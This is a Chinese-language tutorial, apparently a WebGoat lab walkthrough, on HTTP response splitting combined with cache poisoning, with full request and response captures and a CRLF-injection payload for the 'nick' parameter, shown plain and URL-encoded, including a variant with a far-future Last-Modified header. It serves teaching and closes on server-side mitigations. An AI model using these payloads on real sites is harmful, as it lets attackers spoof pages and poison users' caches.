攻击者在向 Web 服务器正常输入的请求中加入恶意代码,受到攻击的应用不会检查CR(回车,也可表示为%0d或\r)和LF(换行,也可表示为%0a或\n)。这些字符不仅使攻击者控制应用程序打算发送的响应头和响应体,而且还使他们能够完全在其控制下创造更多的答复。HTTP拆分攻击配合缓存污染一起使用,能使效果达到最大化。缓存污染攻击的目标是使缓存污染,欺骗缓存,使其相信使用HTTP拆分劫持的页面是一个很正常的页面,是一个服务器的副本。
例如,请求用户发送如下请求:
POST http://localhost:8080/WebGoat/lessons/General/redirect.jsp?Screen=3&menu=100 HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:20.0) Gecko/20100101 Firefox/20.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: JSESSIONID=C22BD09F3FD4B2C00B95613B2149529F Authorization: Basic Z3Vlc3Q6Z3Vlc3Q= Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 31 nick=arlen
服务器返回302,重定向到另一个地址,如下:
HTTP/1.1 302 Moved Temporarily Server: Apache-Coyote/1.1 Location: http://localhost:8080/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&nick=arlen Content-Type: text/html;charset=ISO-8859-1 Content-Length: 0 Date: Wed, 10 Apr 2013 13:43:40 GMT
如果服务器没有对nick参数做限制或者校验,则黑客可以修改nick参数来迫使服务器返回两个答复,可以通过修改nick参数为下面内容:
arlen Content-Length: 0 HTTP/1.1 200 OK Content-Type: text/html;charset=utf-8 Content-Length: 30 <html>arlentest</html>
urlencode后得到:
arlen%0D%0AContent-Length%3A+0%0D%0A%0D%0AHTTP%2F1.1+200+OK%0D%0AContent-Type%3A+text%2Fhtml%3Bcharset%3Dutf-8%0D%0ALast-Modified%3A+Thu%2C+01+Jan+2099+12%3A00%3A00+GMT++%0D%0AContent-Length%3A+30%0D%0A%0D%0A%3Chtml%3Earlentest%3C%2Fhtml%3E
将post中的nick参数值修改成上面字符串重新发送请求,服务器则会返回如下信息:
HTTP/1.1 302 Moved Temporarily Server: Apache-Coyote/1.1 Location: http://localhost:8080/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&nick=arlen Content-Length: 0 HTTP/1.1 200 OK Content-Type: text/html;charset=utf-8 Content-Length: 30 <html>arlentest</html>
客户端收到答复后解析到Content-Length: 0,认为内容已经结束,然后处理请求重定向URL地址到http://localhost:8080/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&nick=arlen,发送第二个请求包
GET http://localhost:8080/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&nick=arlen HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:20.0) Gecko/20100101 Firefox/20.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://localhost:8080/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&nick=arlen Cookie: JSESSIONID=C22BD09F3FD4B2C00B95613B2149529F Authorization: Basic Z3Vlc3Q6Z3Vlc3Q= Connection: keep-alive
而客户端会认为之前收到的第二个200的答复是属于此请求的,则正常处理,从而达到欺骗用户的目的。
为了进一步污染客户端的缓存,我们在第二个回报中添加Last-Modified字段,将缓存时间设置的足够长,从而在用户下次请求时仍然返回错误的答复。为了实现上述操作通过修改nick参数:
arlen Content-Length: 0 HTTP/1.1 200 OK Content-Type: text/html;charset=utf-8 Last-Modified: Thu, 01 Jan 2099 12:00:00 GMT Content-Length: 30 <html>arlentest</html>
urlencode后为:
arlen%0D%0AContent-Length%3A+0%0D%0A%0D%0AHTTP%2F1.1+200+OK%0D%0AContent-Type%3A+text%2Fhtml%3Bcharset%3Dutf-8%0D%0ALast-Modified%3A+Thu%2C+01+Jan+2099+12%3A00%3A00+GMT++%0D%0AContent-Length%3A+30%0D%0A%0D%0A%3Chtml%3Earlentest%3C%2Fhtml%3E
客户端的回包如下:
HTTP/1.1 302 Moved Temporarily Server: Apache-Coyote/1.1 Location: http://localhost:8080/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&nick=arlen Content-Length: 0 HTTP/1.1 200 OK Content-Type: text/html;charset=utf-8 Last-Modified: Thu, 01 Jan 2099 12:00:00 GMT Content-Length: 30 <html>arlentest</html>
从而在第二次请求时会迫使客户端对http://localhost:8080/WebGoat/attack?Screen=3&menu=100&fromRedirect=yes&nick=arlen 做缓存,在用户下次进入该页面时仍然打开该攻击页面。
幸运的是,现在的主流Web服务器比如IIS,Apache HTTP Server以及WebGoat使用的Tomcat等等都有对这个问题作过改进,服务器会对即将发送出去的HTTP响应头里面每一项的值都会做一定的编码或者转换,以避免这个问题。比如Tomcat就响应头中的每一项的值都做过了URLEncode,从而保证即使Web应用存在HTTP应答拆分的漏洞,Web服务器上也从底层平台的角度保证了尽可能避免HTTP应答拆分漏洞带来的威胁。